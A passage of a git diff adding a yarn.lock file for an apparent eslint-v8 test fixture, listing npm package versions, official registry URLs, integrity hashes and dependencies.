+    strip-json-comments "^3.1.0"
+    table "^6.0.9"
+    text-table "^0.2.0"
+    v8-compile-cache "^2.0.3"
+
+espree@^7.3.0, espree@^7.3.1:
+  version "7.3.1"
+  resolved "https://registry.yarnpkg.com/espree/-/espree-7.3.1.tgz#f2df330b752c6f55019f8bd89b7660039c1bbbb6"
+  integrity sha512-v3JCNCE64umkFpmkFGqzVKsOT0tN1Zr+ueqLZfpV1Ob8e+CEgPWa+OxCoGH3tnhimMKIaBm4m/vaRpJ/krRz2g==
+  dependencies:
+    acorn "^7.4.0"
+    acorn-jsx "^5.3.1"
+    eslint-visitor-keys "^1.3.0"
+
+esprima@^4.0.0:
+  version "4.0.1"
+  resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
+  integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
+
+esquery@^1.4.0:
+  version "1.6.0"
+  resolved "https://registry.yarnpkg.com/esquery/-/esquery-1.6.0.tgz#91419234f804d852a82dceec3e16cdc22cf9dae7"
+  integrity sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==
+  dependencies:
+    estraverse "^5.1.0"
+
+esrecurse@^4.3.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/esrecurse/-/esrecurse-4.3.0.tgz#7ad7964d679abb28bee72cec63758b1c5d2c9921"
+  integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
+  dependencies:
+    estraverse "^5.2.0"
+
+estraverse@^4.1.1:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.2.0.tgz#0dee3fed31fcd469618ce7342099fc1afa0bdb13"
+  integrity sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=
+
+estraverse@^5.1.0, estraverse@^5.2.0:
+  version "5.3.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123"
+  integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==
+
+esutils@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.2.tgz#0abf4f1caa5bcb1f7a9d8acc6dea4faaa04bac9b"
+  integrity sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=
+
+fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
+  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
+
+fast-json-stable-stringify@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz#d5142c0caee6b1189f87d3a76111064f86c8bbf2"
+  integrity sha1-1RQsDK7msRifh9OnYREGT4bIu/I=
+
+fast-levenshtein@^2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
+  integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==
+
+fast-uri@^3.0.1:
+  version "3.0.6"
+  resolved "https://registry.yarnpkg.com/fast-uri/-/fast-uri-3.0.6.tgz#88f130b77cfaea2378d56bf970dea21257a68748"
+  integrity sha512-Atfo14OibSv5wAp4VWNsFYE1AchQRTv9cBGWET4pZWHzYshFSS9NQI6I57rdKn9croWVMbYFbLhJ+yJvmZIIHw==
+
+file-entry-cache@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz#211b2dd9659cb0394b073e7323ac3c933d522027"
+  integrity sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==
+  dependencies:
+    flat-cache "^3.0.4"
+
+flat-cache@^3.0.4:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-3.2.0.tgz#2c0c2d5040c99b1632771a9d105725c0115363ee"
+  integrity sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==
+  dependencies:
+    flatted "^3.2.9"
+    keyv "^4.5.3"
+    rimraf "^3.0.2"
+
+flatted@^3.2.9:
+  version "3.3.2"
+  resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.2.tgz#adba1448a9841bec72b42c532ea23dbbedef1a27"
+  integrity sha512-AiwGJM8YcNOaobumgtng+6NHuOqC3A7MixFeDafM3X9cIUM+xUXoS5Vfgf+OihAYe20fxqNM9yPBXJzRtZ/4eA==
+
+fs.realpath@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
+  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
+
+functional-red-black-tree@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327"
+  integrity sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==
+
+glob-parent@^5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
+  integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
+  dependencies:
+    is-glob "^4.0.1"
+
+glob@^7.1.3:
+  version "7.1.3"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.3.tgz#3960832d3f1574108342dafd3a67b332c0969df1"
+  integrity sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.0.4"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
+globals@^13.6.0, globals@^13.9.0:
+  version "13.24.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-13.24.0.tgz#8432a19d78ce0c1e833949c36adb345400bb1171"
+  integrity sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==
+  dependencies:
+    type-fest "^0.20.2"
+
+has-flag@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
+  integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+ignore@^4.0.6:
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-4.0.6.tgz#750e3db5862087b4737ebac8207ffd1ef27b25fc"
+  integrity sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==
+
+import-fresh@^3.0.0, import-fresh@^3.2.1:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.1.tgz#9cecb56503c0ada1f2741dbbd6546e4b13b57ccf"
+  integrity sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+imurmurhash@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
+
+inflight@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
+  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
+  dependencies:
+    once "^1.3.0"
+    wrappy "1"
+
+inherits@2:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
+  integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
+
+is-extglob@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
+  integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+
+is-fullwidth-code-point@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
+  integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
+
+is-glob@^4.0.0, is-glob@^4.0.1:
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
+  integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
+  dependencies:
+    is-extglob "^2.1.1"
+
+isexe@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
+  integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
+
+js-tokens@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
+  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+
+js-yaml@^3.13.1:
+  version "3.14.1"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
+  integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==
+  dependencies:
+    argparse "^1.0.7"
+    esprima "^4.0.0"
+
+json-buffer@3.0.1:
+  version "3.0.1"
+  resolved "https://registry.yarnpkg.com/json-buffer/-/json-buffer-3.0.1.tgz#9338802a30d3b6605fbe0613e094008ca8c05a13"
+  integrity sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==
+
+json-schema-traverse@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
+  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
+
+json-schema-traverse@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz#ae7bcb3656ab77a73ba5c49bf654f38e6b6860e2"
+  integrity sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==
+
+json-stable-stringify-without-jsonify@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
+  integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==
+
+keyv@^4.5.3:
+  version "4.5.4"
+  resolved "https://registry.yarnpkg.com/keyv/-/keyv-4.5.4.tgz#a879a99e29452f942439f2a405e3af8b31d4de93"
+  integrity sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==
+  dependencies:
+    json-buffer "3.0.1"
+
+levn@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/levn/-/levn-0.4.1.tgz#ae4562c007473b932a6200d403268dd2fffc6ade"
+  integrity sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==
+  dependencies:
+    prelude-ls "^1.2.1"
+    type-check "~0.4.0"
+
+lodash.merge@^4.6.2:
+  version "4.6.2"
+  resolved "https://registry.yarnpkg.com/lodash.merge/-/lodash.merge-4.6.2.tgz#558aa53b43b661e1925a0afdfa36a9a1085fe57a"
+  integrity sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==
+
+lodash.truncate@^4.4.2:
+  version "4.4.2"
+  resolved "https://registry.yarnpkg.com/lodash.truncate/-/lodash.truncate-4.4.2.tgz#5a350da0b1113b837ecfffd5812cbe58d6eae193"
+  integrity sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==
+
+minimatch@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
+  integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+ms@^2.1.3:
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+
+natural-compare@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
+  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
+
+once@^1.3.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
+  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
+  dependencies:
+    wrappy "1"
+
+optionator@^0.9.1:
+  version "0.9.4"
+  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.9.4.tgz#7ea1c1a5d91d764fb282139c88fe11e182a3a734"
+  integrity sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==
+  dependencies:
+    deep-is "^0.1.3"
+    fast-levenshtein "^2.0.6"
+    levn "^0.4.1"
+    prelude-ls "^1.2.1"
+    type-check "^0.4.0"
+    word-wrap "^1.2.5"
+
+parent-module@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+  integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+  dependencies:
+    callsites "^3.0.0"
+
+path-is-absolute@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
+  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
+
+path-key@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
+
+picocolors@^1.0.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+
+prelude-ls@^1.2.1:
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.2.1.tgz#debc6489d7a6e6b0e7611888cec880337d316396"
+  integrity sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==
+
+progress@^2.0.0:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/progress/-/progress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8"
+  integrity sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==
+
+punycode@^2.1.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
+  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
+
+regexpp@^3.1.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/regexpp/-/regexpp-3.2.0.tgz#0425a2768d8f23bad70ca4b90461fa2f1213e1b2"
+  integrity sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==
+
+require-from-string@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/require-from-string/-/require-from-string-2.0.2.tgz#89a7fdd938261267318eafe14f9c32e598c36909"
+  integrity sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+rimraf@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
+  integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
+  dependencies:
+    glob "^7.1.3"
+
+semver@^7.2.1:
+  version "7.7.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-7.7.1.tgz#abd5098d82b18c6c81f6074ff2647fd3e7220c9f"
+  integrity sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==
+
+shebang-command@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
+  integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
+  dependencies:
+    shebang-regex "^3.0.0"
+
+shebang-regex@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
+  integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
+
+slice-ansi@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/slice-ansi/-/slice-ansi-4.0.0.tgz#500e8dd0fd55b05815086255b3195adf2a45fe6b"
+  integrity sha512-qMCMfhY040cVHT43K9BFygqYbUPFZKHOg7K73mtTWJRb8pyP3fzf4Ixd5SzdEJQ6MRUg/WBnOLxghZtKKurENQ==
+  dependencies:
+    ansi-styles "^4.0.0"
+    astral-regex "^2.0.0"
+    is-fullwidth-code-point "^3.0.0"
+
+sprintf-js@~1.0.2:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
+  integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
+
+string-width@^4.2.3:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-json-comments@^3.1.0, strip-json-comments@^3.1.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
+  integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
+
+supports-color@^5.3.0:
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
+  integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
+  dependencies:
+    has-flag "^3.0.0"
+
+supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
+  integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==
+  dependencies:
+    has-flag "^4.0.0"
+
+table@^6.0.9:
+  version "6.9.0"
+  resolved "https://registry.yarnpkg.com/table/-/table-6.9.0.tgz#50040afa6264141c7566b3b81d4d82c47a8668f5"
+  integrity sha512-9kY+CygyYM6j02t5YFHbNz2FN5QmYGv9zAjVp4lCDjlCw7amdckXlEt/bjMhUIfj4ThGRE4gCUH5+yGnNuPo5A==
+  dependencies:
+    ajv "^8.0.1"
+    lodash.truncate "^4.4.2"
+    slice-ansi "^4.0.0"
+    string-width "^4.2.3"
+    strip-ansi "^6.0.1"
+
+text-table@^0.2.0:
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4"
+  integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw==
+
+type-check@^0.4.0, type-check@~0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1"
+  integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==
+  dependencies:
+    prelude-ls "^1.2.1"
+
+type-fest@^0.20.2:
+  version "0.20.2"
+  resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4"
+  integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==
+
+uri-js@^4.2.2:
+  version "4.2.2"
+  resolved "https://registry.yarnpkg.com/uri-js/-/uri-js-4.2.2.tgz#94c540e1ff772956e2299507c010aea6c8838eb0"
+  integrity sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==
+  dependencies:
+    punycode "^2.1.0"
+
+v8-compile-cache@^2.0.3:
+  version "2.4.0"
+  resolved "https://registry.yarnpkg.com/v8-compile-cache/-/v8-compile-cache-2.4.0.tgz#cdada8bec61e15865f05d097c5f4fd30e94dc128"
+  integrity sha512-ocyWc3bAHBB/guyqJQVI5o4BZkPhznPYUG2ea80Gond/BgNWpap8TOmLSeeQG7bnh2KMISxskdADG59j7zruhw==
+
+which@^2.0.1:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
+  integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
+  dependencies:
+    isexe "^2.0.0"
+
+word-wrap@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/word-wrap/-/word-wrap-1.2.5.tgz#d2c45c6dd4fbce621a66f136cbe328afd0410b34"
+  integrity sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==
+
+wrappy@1:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
+  integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
diff --git a/fixtures/eslint-v8/.eslintrc.json b/fixtures/eslint-v8/.eslintrc.json
